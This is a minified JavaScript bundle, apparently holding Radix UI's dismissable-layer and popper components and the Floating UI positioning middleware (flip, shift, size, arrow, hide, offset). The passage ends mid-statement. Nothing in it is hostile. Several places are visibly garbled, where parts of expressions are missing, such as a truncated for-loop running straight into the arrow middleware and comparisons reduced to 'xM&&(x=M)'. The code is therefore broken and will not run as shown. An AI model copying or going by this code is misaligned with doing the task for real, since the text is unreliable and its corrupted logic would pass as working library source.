XB(R=>{_===h.layers.size-1&&(r?.(R),!R.defaultPrevented&&u&&(R.preventDefault(),u()))},y),v.useEffect(()=>{if(p)return n&&(h.layersWithOutsidePointerEventsDisabled.size===0&&(qA=y.body.style.pointerEvents,y.body.style.pointerEvents="none"),h.layersWithOutsidePointerEventsDisabled.add(p)),h.layers.add(p),FA(),()=>{n&&h.layersWithOutsidePointerEventsDisabled.size===1&&(y.body.style.pointerEvents=qA)}},[p,y,n,h]),v.useEffect(()=>()=>{p&&(h.layers.delete(p),h.layersWithOutsidePointerEventsDisabled.delete(p),FA())},[p,h]),v.useEffect(()=>{const R=()=>x({});return document.addEventListener(u0,R),()=>document.removeEventListener(u0,R)},[]),E.jsx(Ce.div,{...f,ref:S,style:{pointerEvents:T?j?"auto":"none":void 0,...e.style},onFocusCapture:ue(e.onFocusCapture,P.onFocusCapture),onBlurCapture:ue(e.onBlurCapture,P.onBlurCapture),onPointerDownCapture:ue(e.onPointerDownCapture,M.onPointerDownCapture)})});Hc.displayName=ZB;var e8="DismissableLayerBranch",t8=v.forwardRef((e,t)=>{const n=v.useContext(CM),r=v.useRef(null),i=De(t,r);return v.useEffect(()=>{const l=r.current;if(l)return n.branches.add(l),()=>{n.branches.delete(l)}},[n.branches]),E.jsx(Ce.div,{...e,ref:i})});t8.displayName=e8;function n8(e,t=globalThis?.document){const n=en(e),r=v.useRef(!1),i=v.useRef(()=>{});return v.useEffect(()=>{const l=u=>{if(u.target&&!r.current){let f=function(){_M(QB,n,h,{discrete:!0})};const h={originalEvent:u};u.pointerType==="touch"?(t.removeEventListener("click",i.current),i.current=f,t.addEventListener("click",i.current,{once:!0})):f()}else t.removeEventListener("click",i.current);r.current=!1},c=window.setTimeout(()=>{t.addEventListener("pointerdown",l)},0);return()=>{window.clearTimeout(c),t.removeEventListener("pointerdown",l),t.removeEventListener("click",i.current)}},[t,n]),{onPointerDownCapture:()=>r.current=!0}}function r8(e,t=globalThis?.document){const n=en(e),r=v.useRef(!1);return v.useEffect(()=>{const i=l=>{l.target&&!r.current&&_M(JB,n,{originalEvent:l},{discrete:!1})};return t.addEventListener("focusin",i),()=>t.removeEventListener("focusin",i)},[t,n]),{onFocusCapture:()=>r.current=!0,onBlurCapture:()=>r.current=!1}}function FA(){const e=new CustomEvent(u0);document.dispatchEvent(e)}function _M(e,t,n,{discrete:r}){const i=n.originalEvent.target,l=new CustomEvent(e,{bubbles:!1,cancelable:!0,detail:n});t&&i.addEventListener(e,t,{once:!0}),r?AM(i,l):i.dispatchEvent(l)}var Ft=globalThis?.document?v.useLayoutEffect:()=>{},a8=Eh[" useId ".trim().toString()]||(()=>{}),i8=0;function sr(e){const[t,n]=v.useState(a8());return Ft(()=>{n(r=>r??String(i8++))},[e]),t?`radix-${t}`:""}const o8=["top","right","bottom","left"],xi=Math.min,zn=Math.max,wd=Math.round,If=Math.floor,zr=e=>({x:e,y:e}),l8={left:"right",right:"left",bottom:"top",top:"bottom"},s8={start:"end",end:"start"};function f0(e,t,n){return zn(e,xi(t,n))}function wa(e,t){return typeof e=="function"?e(t):e}function Sa(e){return e.split("-")[0]}function Hl(e){return e.split("-")[1]}function Mb(e){return e==="x"?"y":"x"}function jb(e){return e==="y"?"height":"width"}const c8=new Set(["top","bottom"]);function Lr(e){return c8.has(Sa(e))?"y":"x"}function Pb(e){return Mb(Lr(e))}function u8(e,t,n){n===void 0&&(n=!1);const r=Hl(e),i=Pb(e),l=jb(i);let c=i==="x"?r===(n?"end":"start")?"right":"left":r==="start"?"bottom":"top";return t.reference[l]>t.floating[l]&&(c=Sd(c)),[c,Sd(c)]}function f8(e){const t=Sd(e);return[d0(e),t,d0(t)]}function d0(e){return e.replace(/start|end/g,t=>s8[t])}const VA=["left","right"],KA=["right","left"],d8=["top","bottom"],h8=["bottom","top"];function p8(e,t,n){switch(e){case"top":case"bottom":return n?t?KA:VA:t?VA:KA;case"left":case"right":return t?d8:h8;default:return[]}}function m8(e,t,n,r){const i=Hl(e);let l=p8(Sa(e),n==="start",r);return i&&(l=l.map(c=>c+"-"+i),t&&(l=l.concat(l.map(d0)))),l}function Sd(e){return e.replace(/left|right|bottom|top/g,t=>l8[t])}function v8(e){return{top:0,right:0,bottom:0,left:0,...e}}function TM(e){return typeof e!="number"?v8(e):{top:e,right:e,bottom:e,left:e}}function Od(e){const{x:t,y:n,width:r,height:i}=e;return{width:r,height:i,top:n,left:t,right:t+r,bottom:n+i,x:t,y:n}}function YA(e,t,n){let{reference:r,floating:i}=e;const l=Lr(t),c=Pb(t),u=jb(c),f=Sa(t),h=l==="y",p=r.x+r.width/2-i.width/2,m=r.y+r.height/2-i.height/2,y=r[u]/2-i[u]/2;let x;switch(f){case"top":x={x:p,y:r.y-i.height};break;case"bottom":x={x:p,y:r.y+r.height};break;case"right":x={x:r.x+r.width,y:m};break;case"left":x={x:r.x-i.width,y:m};break;default:x={x:r.x,y:r.y}}switch(Hl(t)){case"start":x[c]-=y*(n&&h?-1:1);break;case"end":x[c]+=y*(n&&h?-1:1);break}return x}const g8=async(e,t,n)=>{const{placement:r="bottom",strategy:i="absolute",middleware:l=[],platform:c}=n,u=l.filter(Boolean),f=await(c.isRTL==null?void 0:c.isRTL(t));let h=await c.getElementRects({reference:e,floating:t,strategy:i}),{x:p,y:m}=YA(h,r,f),y=r,x={},S=0;for(let w=0;w({name:"arrow",options:e,async fn(t){const{x:n,y:r,placement:i,rects:l,platform:c,elements:u,middlewareData:f}=t,{element:h,padding:p=0}=wa(e,t)||{};if(h==null)return{};const m=TM(p),y={x:n,y:r},x=Pb(i),S=jb(x),w=await c.getDimensions(h),O=x==="y",A=O?"top":"left",_=O?"bottom":"right",T=O?"clientHeight":"clientWidth",j=l.reference[S]+l.reference[x]-y[x]-l.floating[S],M=y[x]-l.reference[x],P=await(c.getOffsetParent==null?void 0:c.getOffsetParent(h));let R=P?P[T]:0;(!R||!await(c.isElement==null?void 0:c.isElement(P)))&&(R=u.floating[T]||l.floating[S]);const I=j/2-M/2,B=R/2-w[S]/2-1,q=xi(m[A],B),U=xi(m[_],B),V=q,oe=R-w[S]-U,le=R/2-w[S]/2+I,ce=f0(V,le,oe),L=!f.arrow&&Hl(i)!=null&&le!==ce&&l.reference[S]/2-(lele<=0)){var U,V;const le=(((U=l.flip)==null?void 0:U.index)||0)+1,ce=R[le];if(ce&&(!(m==="alignment"?_!==Lr(ce):!1)||q.every($=>Lr($.placement)===_?$.overflows[0]>0:!0)))return{data:{index:le,overflows:q},reset:{placement:ce}};let L=(V=q.filter(F=>F.overflows[0]<=0).sort((F,$)=>F.overflows[1]-$.overflows[1])[0])==null?void 0:V.placement;if(!L)switch(x){case"bestFit":{var oe;const F=(oe=q.filter($=>{if(P){const Z=Lr($.placement);return Z===_||Z==="y"}return!0}).map($=>[$.placement,$.overflows.filter(Z=>Z>0).reduce((Z,de)=>Z+de,0)]).sort(($,Z)=>$[1]-Z[1])[0])==null?void 0:oe[0];F&&(L=F);break}case"initialPlacement":L=u;break}if(i!==L)return{reset:{placement:L}}}return{}}}};function GA(e,t){return{top:e.top-t.height,right:e.right-t.width,bottom:e.bottom-t.height,left:e.left-t.width}}function WA(e){return o8.some(t=>e[t]>=0)}const x8=function(e){return e===void 0&&(e={}),{name:"hide",options:e,async fn(t){const{rects:n}=t,{strategy:r="referenceHidden",...i}=wa(e,t);switch(r){case"referenceHidden":{const l=await wc(t,{...i,elementContext:"reference"}),c=GA(l,n.reference);return{data:{referenceHiddenOffsets:c,referenceHidden:WA(c)}}}case"escaped":{const l=await wc(t,{...i,altBoundary:!0}),c=GA(l,n.floating);return{data:{escapedOffsets:c,escaped:WA(c)}}}default:return{}}}}},NM=new Set(["left","top"]);async function w8(e,t){const{placement:n,platform:r,elements:i}=e,l=await(r.isRTL==null?void 0:r.isRTL(i.floating)),c=Sa(n),u=Hl(n),f=Lr(n)==="y",h=NM.has(c)?-1:1,p=l&&f?-1:1,m=wa(t,e);let{mainAxis:y,crossAxis:x,alignmentAxis:S}=typeof m=="number"?{mainAxis:m,crossAxis:0,alignmentAxis:null}:{mainAxis:m.mainAxis||0,crossAxis:m.crossAxis||0,alignmentAxis:m.alignmentAxis};return u&&typeof S=="number"&&(x=u==="end"?S*-1:S),f?{x:x*p,y:y*h}:{x:y*h,y:x*p}}const S8=function(e){return e===void 0&&(e=0),{name:"offset",options:e,async fn(t){var n,r;const{x:i,y:l,placement:c,middlewareData:u}=t,f=await w8(t,e);return c===((n=u.offset)==null?void 0:n.placement)&&(r=u.arrow)!=null&&r.alignmentOffset?{}:{x:i+f.x,y:l+f.y,data:{...f,placement:c}}}}},O8=function(e){return e===void 0&&(e={}),{name:"shift",options:e,async fn(t){const{x:n,y:r,placement:i}=t,{mainAxis:l=!0,crossAxis:c=!1,limiter:u={fn:O=>{let{x:A,y:_}=O;return{x:A,y:_}}},...f}=wa(e,t),h={x:n,y:r},p=await wc(t,f),m=Lr(Sa(i)),y=Mb(m);let x=h[y],S=h[m];if(l){const O=y==="y"?"top":"left",A=y==="y"?"bottom":"right",_=x+p[O],T=x-p[A];x=f0(_,x,T)}if(c){const O=m==="y"?"top":"left",A=m==="y"?"bottom":"right",_=S+p[O],T=S-p[A];S=f0(_,S,T)}const w=u.fn({...t,[y]:x,[m]:S});return{...w,data:{x:w.x-n,y:w.y-r,enabled:{[y]:l,[m]:c}}}}}},E8=function(e){return e===void 0&&(e={}),{options:e,fn(t){const{x:n,y:r,placement:i,rects:l,middlewareData:c}=t,{offset:u=0,mainAxis:f=!0,crossAxis:h=!0}=wa(e,t),p={x:n,y:r},m=Lr(i),y=Mb(m);let x=p[y],S=p[m];const w=wa(u,t),O=typeof w=="number"?{mainAxis:w,crossAxis:0}:{mainAxis:0,crossAxis:0,...w};if(f){const T=y==="y"?"height":"width",j=l.reference[y]-l.floating[T]+O.mainAxis,M=l.reference[y]+l.reference[T]-O.mainAxis;xM&&(x=M)}if(h){var A,_;const T=y==="y"?"width":"height",j=NM.has(Sa(i)),M=l.reference[m]-l.floating[T]+(j&&((A=c.offset)==null?void 0:A[m])||0)+(j?0:O.crossAxis),P=l.reference[m]+l.reference[T]+(j?0:((_=c.offset)==null?void 0:_[m])||0)-(j?O.crossAxis:0);SP&&(S=P)}return{[y]:x,[m]:S}}}},A8=function(e){return e===void 0&&(e={}),{name:"size",options:e,async fn(t){var n,r;const{placement:i,rects:l,platform:c,elements:u}=t,{apply:f=()=>{},...h}=wa(e,t),p=await wc(t,h),m=Sa(i),y=Hl(i),x=Lr(i)==="y",{width:S,height:w}=l.floating;let O,A;m==="top"||m==="bottom"?(O=m,A=y===(await(c.isRTL==null?void 0:c.isRTL(u.floating))?"start":"end")?"left":"right"):(A=m,O=y==="end"?"top":"bottom");const _=w-p.top-p.bottom,T=S-p.left-p.right,j=xi(w-p[O],_),M=xi(S-p[A],T),P=!t.middlewareData.shift;let R=j,I=M;if((n=t.middlewareData.shift)!=null&&n.enabled.x&&(I=T),(r=t.middlewareData.shift)!=null&&r.enabled.y&&(R=_),P&&!y){const q=zn(p.left,0),U=zn(p.right,0),V=zn(p.top,0),oe=zn(p.bottom,0);x?I=S-2*(q!==0||U!==0?q+U:zn(p.left,p.right)):R=w-2*(V!==0||oe!==0?V+oe:zn(p.top,p.bottom))}await f({...t,availableWidth:I,availableHeight:R});const B=await c.getDimensions(u.floating);return S!==B.width||w!==B.height?{reset:{rects:!0}}:{}}}};function _h(){return typeof window<"u"}function ql(e){return MM(e)?(e.nodeName||"").toLowerCase():"#document"}function Un(e){var t;return(e==null||(t=e.ownerDocument)==null?void 0:t.defaultView)||window}function Kr(e){var t;return(t=(MM(e)?e.ownerDocument:e.document)||window.document)==null?void 0:t.documentElement}function MM(e){return _h()?e instanceof Node||e instanceof Un(e).Node:!1}function Or(e){return _h()?e instanceof Element||e instanceof Un(e).Element:!1}function Br(e){return _h()?e instanceof HTMLElement||e instanceof Un(e).HTMLElement:!1}function XA(e){return!_h()||typeof ShadowRoot>"u"?!1:e instanceof ShadowRoot||e instanceof Un(e).ShadowRoot}const C8=new Set(["inline","contents"]);function qc(e){const{overflow:t,overflowX:n,overflowY:r,display:i}=Er(e);return/auto|scroll|overlay|hidden|clip/.test(t+r+n)&&!C8.has(i)}const _8=new Set(["table","td","th"]);function T8(e){return _8.has(ql(e))}const N8=[":popover-open",":modal"];function Th(e){return N8.some(t=>{try{return e.matches(t)}catch{return!1}})}const M8=["transform","translate","scale","rotate","perspective"],j8=["transform","translate","scale","rotate","perspective","filter"],P8=["paint","layout","strict","content"];function Rb(e){const t=Db(),n=Or(e)?Er(e):e;return M8.some(r=>n[r]?n[r]!=="none":!1)||(n.containerType?n.containerType!=="normal":!1)||!t&&(n.backdropFilter?n.backdropFilter!=="none":!1)||!t&&(n.filter?n.filter!=="none":!1)||j8.some(r=>(n.willChange||"").includes(r))||P8.some(r=>(n.contain||"").includes(r))}function R8(e){let t=wi(e);for(;Br(t)&&!jl(t);){if(Rb(t))return t;if(Th(t))return null;t=wi(t)}return null}function Db(){return typeof CSS>"u"||!CSS.supports?!1:CSS.supports("-webkit-backdrop-filter","none")}const D8=new Set(["html","body","#document"]);function jl(e){return D8.has(ql(e))}function Er(e){return Un(e).getComputedStyle(e)}function Nh(e){return Or(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function wi(e){if(ql(e)==="html")return e;const t=e.assignedSlot||e.parentNode||XA(e)&&e.host||Kr(e);return XA(t)?t.host:t}function jM(e){const t=wi(e);return jl(t)?e.ownerDocument?e.ownerDocument.body:e.body:Br(t)&&qc(t)?t:jM(t)}function Sc(e,t,n){var r;t===void 0&&(t=[]),n===void 0&&(n=!0);const i=jM(e),l=i===((r=e.ownerDocument)==null?void 0:r.body),c=Un(i);if(l){const u=h0(c);return t.concat(c,c.visualViewport||[],qc(i)?i:[],u&&n?Sc(u):[])}return t.concat(i,Sc(i,[],n))}function h0(e){return e.parent&&Object.getPrototypeOf(e.parent)?e.frameElement:null}function PM(e){const t=Er(e);let n=parseFloat(t.width)||0,r=parseFloat(t.height)||0;const i=Br(e),l=i?e.offsetWidth:n,c=i?e.offsetHeight:r,u=wd(n)!==l||wd(r)!==c;return u&&(n=l,r=c),{width:n,height:r,$:u}}function kb(e){return Or(e)?e:e.contextElement}function Cl(e){const t=kb(e);if(!Br(t))return zr(1);const n=t.getBoundingClientRect(),{width:r,height:i,$:l}=PM(t);let c=(l?wd(n.width):n.width)/r,u=(l?wd(n.height):n.height)/i;return(!c||!Number.isFinite(c))&&(c=1),(!u||!Number.isFinite(u))&&(u=1),{x:c,y:u}}const k8=zr(0);function RM(e){const t=Un(e);return!Db()||!t.visualViewport?k8:{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}}function L8(e,t,n){return t===void 0&&(t=!1),!n||t&&n!==Un(e)?!1:t}function io(e,t,n,r){t===void 0&&(t=!1),n===void 0&&(n=!1);const i=e.getBoundingClientRect(),l=kb(e);let c=zr(1);t&&(r?Or(r)&&(c=Cl(r)):c=Cl(e));const u=L8(l,n,r)?RM(l):zr(0);let f=(i.left+u.x)/c.x,h=(i.top+u.y)/c.y,p=i.width/c.x,m=i.height/c.y;if(l){const y=Un(l),x=r&&Or(r)?Un(r):r;let S=y,w=h0(S);for(;w&&r&&x!==S;){const O=Cl(w),A=w.getBoundingClientRect(),_=Er(w),T=A.left+(w.clientLeft+parseFloat(_.paddingLeft))*O.x,j=A.top+(w.clientTop+parseFloat(_.paddingTop))*O.y;f*=O.x,h*=O.y,p*=O.x,m*=O.y,f+=T,h+=j,S=Un(w),w=h0(S)}}return Od({width:p,height:m,x:f,y:h})}function Mh(e,t){const n=Nh(e).scrollLeft;return t?t.left+n:io(Kr(e)).left+n}function DM(e,t){const n=e.getBoundingClientRect(),r=n.left+t.scrollLeft-Mh(e,n),i=n.top+t.scrollTop;return{x:r,y:i}}function I8(e){let{elements:t,rect:n,offsetParent:r,strategy:i}=e;const l=i==="fixed",c=Kr(r),u=t?Th(t.floating):!1;if(r===c||u&&l)return n;let f={scrollLeft:0,scrollTop:0},h=zr(1);const p=zr(0),m=Br(r);if((m||!m&&!l)&&((ql(r)!=="body"||qc(c))&&(f=Nh(r)),Br(r))){const x=io(r);h=Cl(r),p.x=x.x+r.clientLeft,p.y=x.y+r.clientTop}const y=c&&!m&&!l?DM(c,f):zr(0);return{width:n.width*h.x,height:n.height*h.y,x:n.x*h.x-f.scrollLeft*h.x+p.x+y.x,y:n.y*h.y-f.scrollTop*h.y+p.y+y.y}}function z8(e){return Array.from(e.getClientRects())}function $8(e){const t=Kr(e),n=Nh(e),r=e.ownerDocument.body,i=zn(t.scrollWidth,t.clientWidth,r.scrollWidth,r.clientWidth),l=zn(t.scrollHeight,t.clientHeight,r.scrollHeight,r.clientHeight);let c=-n.scrollLeft+Mh(e);const u=-n.scrollTop;return Er(r).direction==="rtl"&&(c+=zn(t.clientWidth,r.clientWidth)-i),{width:i,height:l,x:c,y:u}}const ZA=25;function B8(e,t){const n=Un(e),r=Kr(e),i=n.visualViewport;let l=r.clientWidth,c=r.clientHeight,u=0,f=0;if(i){l=i.width,c=i.height;const p=Db();(!p||p&&t==="fixed")&&(u=i.offsetLeft,f=i.offsetTop)}const h=Mh(r);if(h<=0){const p=r.ownerDocument,m=p.body,y=getComputedStyle(m),x=p.compatMode==="CSS1Compat"&&parseFloat(y.marginLeft)+parseFloat(y.marginRight)||0,S=Math.abs(r.clientWidth-m.clientWidth-x);S<=ZA&&(l-=S)}else h<=ZA&&(l+=h);return{width:l,height:c,x:u,y:f}}const U8=new Set(["absolute","fixed"]);function H8(e,t){const n=io(e,!0,t==="fixed"),r=n.top+e.clientTop,i=n.left+e.clientLeft,l=Br(e)?Cl(e):zr(1),c=e.clientWidth*l.x,u=e.clientHeight*l.y,f=i*l.x,h=r*l.y;return{width:c,height:u,x:f,y:h}}function QA(e,t,n){let r;if(t==="viewport")r=B8(e,n);else if(t==="document")r=$8(Kr(e));else if(Or(t))r=H8(t,n);else{const i=RM(e);r={x:t.x-i.x,y:t.y-i.y,width:t.width,height:t.height}}return Od(r)}function kM(e,t){const n=wi(e);return n===t||!Or(n)||jl(n)?!1:Er(n).position==="fixed"||kM(n,t)}function q8(e,t){const n=t.get(e);if(n)return n;let r=Sc(e,[],!1).filter(u=>Or(u)&&ql(u)!=="body"),i=null;const l=Er(e).position==="fixed";let c=l?wi(e):e;for(;Or(c)&&!jl(c);){const u=Er(c),f=Rb(c);!f&&u.position==="fixed"&&(i=null),(l?!f&&!i:!f&&u.position==="static"&&!!i&&U8.has(i.position)||qc(c)&&!f&&kM(e,c))?r=r.filter(p=>p!==c):i=u,c=wi(c)}return t.set(e,r),r}function F8(e){let{element:t,boundary:n,rootBoundary:r,strategy:i}=e;const c=[...n==="clippingAncestors"?Th(t)?[]:q8(t,this._c):[].concat(n),r],u=c[0],f=c.reduce((h,p)=>{const m=QA(t,p,i);return h.top=zn(m.top,h.top),h.right=xi(m.right,h.right),h.bottom=xi(m.bottom,h.bottom),h.left=zn(m.left,h.left),h},QA(t,u,i));return{width:f.right-f.left,height:f.bottom-f.top,x:f.left,y:f.top}}function V8(e){const{width:t,height:n}=PM(e);return{width:t,height:n}}function K8(e,t,n){const r=Br(t),i=Kr(t),l=n==="fixed",c=io(e,!0,l,t);let u={scrollLeft:0,scrollTop:0};const f=zr(0);function h(){f.x=Mh(i)}if(r||!r&&!l)if((ql(t)!=="body"||qc(i))&&(u=Nh(t)),r){const x=io(t,!0,l,t);f.x=x.x+t.clientLeft,f.y=x.y+t.clientTop}else i&&h();l&&!r&&i&&h();const p=i&&!r&&!l?DM(i,u):zr(0),m=c.left+u.scrollLeft-f.x-p.x,y=c.top+u.scrollTop-f.y-p.y;return{x:m,y,width:c.width,height:c.height}}function vg(e){return Er(e).position==="static"}function JA(e,t){if(!Br(e)||Er(e).position==="fixed")return null;if(t)return t(e);let n=e.offsetParent;return Kr(e)===n&&(n=n.ownerDocument.body),n}function LM(e,t){const n=Un(e);if(Th(e))return n;if(!Br(e)){let i=wi(e);for(;i&&!jl(i);){if(Or(i)&&!vg(i))return i;i=wi(i)}return n}let r=JA(e,t);for(;r&&T8(r)&&vg(r);)r=JA(r,t);return r&&jl(r)&&vg(r)&&!Rb(r)?n:r||R8(e)||n}const Y8=async function(e){const t=this.getOffsetParent||LM,n=this.getDimensions,r=await n(e.floating);return{reference:K8(e.reference,await t(e.floating),e.strategy),floating:{x:0,y:0,width:r.width,height:r.height}}};function G8(e){return Er(e).direction==="rtl"}const W8={convertOffsetParentRelativeRectToViewportRelativeRect:I8,getDocumentElement:Kr,getClippingRect:F8,getOffsetParent:LM,getElementRects:Y8,getClientRects:z8,getDimensions:V8,getScale:Cl,isElement:Or,isRTL:G8};function IM(e,t){return e.x===t.x&&e.y===t.y&&e.width===t.width&&e.height===t.height}function X8(e,t){let n=null,r;const i=Kr(e);function l(){var u;clearTimeout(r),(u=n)==null||u.disconnect(),n=null}function c(u,f){u===void 0&&(u=!1),f===void 0&&(f=1),l();const h=e.getBoundingClientRect(),{left:p,top:m,width:y,height:x}=h;if(u||t(),!y||!x)return;const S=If(m),w=If(i.clientWidth-(p+y)),O=If(i.clientHeight-(m+x)),A=If(p),T={rootMargin:-S+"px "+-w+"px "+-O+"px "+-A+"px",threshold:zn(0,xi(1,f))||1};let j=!0;function M(P){const R=P[0].intersectionRatio;if(R!==f){if(!j)return c();R?c(!1,R):r=setTimeout(()=>{c(!1,1e-7)},1e3)}R===1&&!IM(h,e.getBoundingClientRect())&&c(),j=!1}try{n=new IntersectionObserver(M,{...T,root:i.ownerDocument})}catch{n=new IntersectionObserver(M,T)}n.observe(e)}return c(!0),l}function Z8(e,t,n,r){r===void 0&&(r={});const{ancestorScroll:i=!0,ancestorResize:l=!0,elementResize:c=typeof ResizeObserver=="function",layoutShift:u=typeof IntersectionObserver=="function",animationFrame:f=!1}=r,h=kb(e),p=i||l?[...h?Sc(h):[],...Sc(t)]:[];p.forEach(A=>{i&&A.addEventListener("scroll",n,{passive:!0}),l&&A.addEventListener("resize",n)});const m=h&&u?X8(h,n):null;let y=-1,x=null;c&&(x=new ResizeObserver(A=>{let[_]=A;_&&_.target===h&&x&&(x.unobserve(t),cancelAnimationFrame(y),y=requestAnimationFrame(()=>{var T;(T=x)==null||T.observe(t)})),n()}),h&&!f&&x.observe(h),x.observe(t));let S,w=f?io(e):null;f&&O();function O(){const A=io(e);w&&!IM(w,A)&&n(),w=A,S=requestAnimationFrame(O)}return n(),()=>{var A;p.forEach(_=>{i&&_.removeEventListener("scroll",n),l&&_.removeEventListener("resize",n)}),m?.(),(A=x)==null||A.disconnect(),x=null,f&&cancelAnimationFrame(S)}}const Q8=S8,J8=O8,eU=b8,tU=A8,nU=x8,eC=y8,rU=E8,aU=(e,t,n)=>{const r=new Map,i={platform:W8,...n},l={...i.platform,_c:r};return g8(e,t,{...i,platform:l})};var iU=typeof document<"u",oU=function(){},sd=iU?v.useLayoutEffect:oU;function Ed(e,t){if(e===t)return!0;if(typeof e!=typeof t)return!1;if(typeof e=="function"&&e.toString()===t.toString())return!0;let n,r,i;if(e&&t&&typeof e=="object"){if(Array.isArray(e)){if(n=e.length,n!==t.length)return!1;for(r=n;r--!==0;)if(!Ed(e[r],t[r]))return!1;return!0}if(i=Object.keys(e),n=i.length,n!==Object.keys(t).length)return!1;for(r=n;r--!==0;)if(!{}.hasOwnProperty.call(t,i[r]))return!1;for(r=n;r--!==0;){const l=i[r];if(!(l==="_owner"&&e.$$typeof)&&!Ed(e[l],t[l]))return!1}return!0}return e!==e&&t!==t}function zM(e){return typeof window>"u"?1:(e.ownerDocument.defaultView||window).devicePixelRatio||1}function tC(e,t){const n=zM(e);return Math.round(t*n)/n}function gg(e){const t=v.useRef(e);return sd(()=>{t.current=e}),t}function lU(e){e===void 0&&(e={});const{placement:t="bottom",strategy:n="absolute",middleware:r=[],platform:i,elements:{reference:l,floating:c}={},transform:u=!0,whileElementsMounted:f,open:h}=e,[p,m]=v.useState({x:0,y:0,strategy:n,placement:t,middlewareData:{},isPositioned:!1}),[y,x]=v.useState(r);Ed(y,r)||x(r);const[S,w]=v.useState(null),[O,A]=v.useState(null),_=v.useCallback($=>{$!==P.current&&(P.current=$,w($))},[]),T=v.useCallback($=>{$!==R.current&&(R.current=$,A($))},[]),j=l||S,M=c||O,P=v.useRef(null),R=v.useRef(null),I=v.useRef(p),B=f!=null,q=gg(f),U=gg(i),V=gg(h),oe=v.useCallback(()=>{if(!P.current||!R.current)return;const $={placement:t,strategy:n,middleware:y};U.current&&($.platform=U.current),aU(P.current,R.current,$).then(Z=>{const de={...Z,isPositioned:V.current!==!1};le.current&&!Ed(I.current,de)&&(I.current=de,wo.flushSync(()=>{m(de)}))})},[y,t,n,U,V]);sd(()=>{h===!1&&I.current.isPositioned&&(I.current.isPositioned=!1,m($=>({...$,isPositioned:!1})))},[h]);const le=v.useRef(!1);sd(()=>(le.current=!0,()=>{le.current=!1}),[]),sd(()=>{if(j&&(P.current=j),M&&(R.current=M),j&&M){if(q.current)return q.current(j,M,oe);oe()}},[j,M,oe,q,B]);const ce=v.useMemo(()=>({reference:P,floating:R,setReference:_,setFloating:T}),[_,T]),L=v.useMemo(()=>({reference:j,floating:M}),[j,M]),F=v.useMemo(()=>{const $={position:n,left:0,top:0};if(!L.floating)return $;const Z=tC(L.floating,p.x),de=tC(L.floating,p.y);return u?{...$,transform:"translate("+Z+"px, "+de+"px)",...zM(L.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:Z,top:de}},[n,u,L.floating,p.x,p.y]);return v.useMemo(()=>({...p,update:oe,refs:ce,elements:L,floatingStyles:F}),[p,oe,ce,L,F])}const sU=e=>{function t(n){return{}.hasOwnProperty.call(n,"current")}return{name:"arrow",options:e,fn(n){const{element:r,padding:i}=typeof e=="function"?e(n):e;return r&&t(r)?r.current!=null?eC({element:r.current,padding:i}).fn(n):{}:r?eC({element:r,padding:i}).fn(n):{}}}},cU=(e,t)=>({...Q8(e),options:[e,t]}),uU=(e,t)=>({...J8(e),options:[e,t]}),fU=(e,t)=>({...rU(e),options:[e,t]}),dU=(e,t)=>({...eU(e),options:[e,t]}),hU=(e,t)=>({...tU(e),options:[e,t]}),pU=(e,t)=>({...nU(e),options:[e,t]}),mU=(e,t)=>({...sU(e),options:[e,t]});var vU="Arrow",$M=v.forwardRef((e,t)=>{const{children:n,width:r=10,height:i=5,...l}=e;return E.jsx(Ce.svg,{...l,ref:t,width:r,height:i,viewBox:"0 0 30 10",preserveAspectRatio:"none",children:e.asChild?n:E.jsx("polygon",{points:"0,0 30,0 15,10"})})});$M.displayName=vU;var gU=$M;function BM(e){const[t,n]=v.useState(void 0);return Ft(()=>{if(e){n({width:e.offsetWidth,height:e.offsetHeight});const r=new ResizeObserver(i=>{if(!Array.isArray(i)||!i.length)return;const l=i[0];let c,u;if("borderBoxSize"in l){const f=l.borderBoxSize,h=Array.isArray(f)?f[0]:f;c=h.inlineSize,u=h.blockSize}else c=e.offsetWidth,u=e.offsetHeight;n({width:c,height:u})});return r.observe(e,{box:"border-box"}),()=>r.unobserve(e)}else n(void 0)},[e]),t}var Lb="Popper",[UM,Fl]=Fn(Lb),[yU,HM]=UM(Lb),qM=e=>{const{__scopePopper:t,children:n}=e,[r,i]=v.useState(null);return E.jsx(yU,{scope:t,anchor:r,onAnchorChange:i,children:n})};qM.displayName=Lb;var FM="PopperAnchor",VM=v.forwardRef((e,t)=>{const{__scopePopper:n,virtualRef:r,...i}=e,l=HM(FM,n),c=v.useRef(null),u=De(t,c),f=v.useRef(null);return v.useEffect(()=>{const h=f.current;f.current=r?.current||c.current,h!==f.current&&l.onAnchorChange(f.current)}),r?null:E.jsx(Ce.div,{...i,ref:u})});VM.displayName=FM;var Ib="PopperContent",[bU,xU]=UM(Ib),KM=v.forwardRef((e,t)=>{const{__scopePopper:n,side:r="bottom",sideOffset:i=0,align:l="center",alignOffset:c=0,arrowPadding:u=0,avoidCollisions:f=!0,collisionBoundary:h=[],collisionPadding:p=0,sticky:m="partial",hideWhenDetached:y=!1,updatePositionStrategy:x="optimized",onPlaced:S,...w}=e,O=HM(Ib,n),[A,_]=v.useState(null),T=De(t,ee=>_(ee)),[j,M]=v.useState(null),P=BM(j),R=P?.width??0,I=P?.height??0,B=r+(l!=="center"?"-"+l:""),q=typeof p=="number"?p:{top:0,right:0,bottom:0,left:0,...p},U=Array.isArray(h)?h:[h],V=U.length>0,oe={padding:q,boundary:U.filter(SU),altBoundary:V},{refs:le,floatingStyles:ce,placement:L,isPositioned:F,middlewareData:$}=lU({strategy:"fixed",placement:B,whileElementsMounted:(...ee)=>Z8(...ee,{animationFrame:x==="always"}),elements:{reference:O.anchor},middleware:[cU({mainAxis:i+I,alignmentAxis:c}),f&&uU({mainAxis:!0,crossAxis:!1,limiter:m==="partial"?fU():void 0,...oe}),f&&dU({...oe}),hU({...oe,apply:({elements:ee,rects:_e,availableWidth:Q,availableHeight:fe})=>{const{width:he,height:ne}=_e.reference,Ke=ee.floating.style;Ke.setProperty("--radix-popper-available-width",`${Q}px`),Ke.setProperty("--radix-popper-available-height",`${fe}px`),Ke.setProperty("--radix-popper-anchor-width",`${he}px`),Ke.setProperty("--radix-popper-anchor-height",`${ne}px`)}}),j&&mU({element:j,padding:u}),OU({arrowWidth:R,arrowHeight:I}),y&&pU({strategy:"referenceHidden",...oe})]}),[Z,de]=WM(L),D=en(S);Ft(()=>{F&&D?.()},[F,D]);const X=$.arrow?.x,ae=$.arrow?.y,se=$.arrow?.centerOffset!==0,[me,xe]=v.useState();return 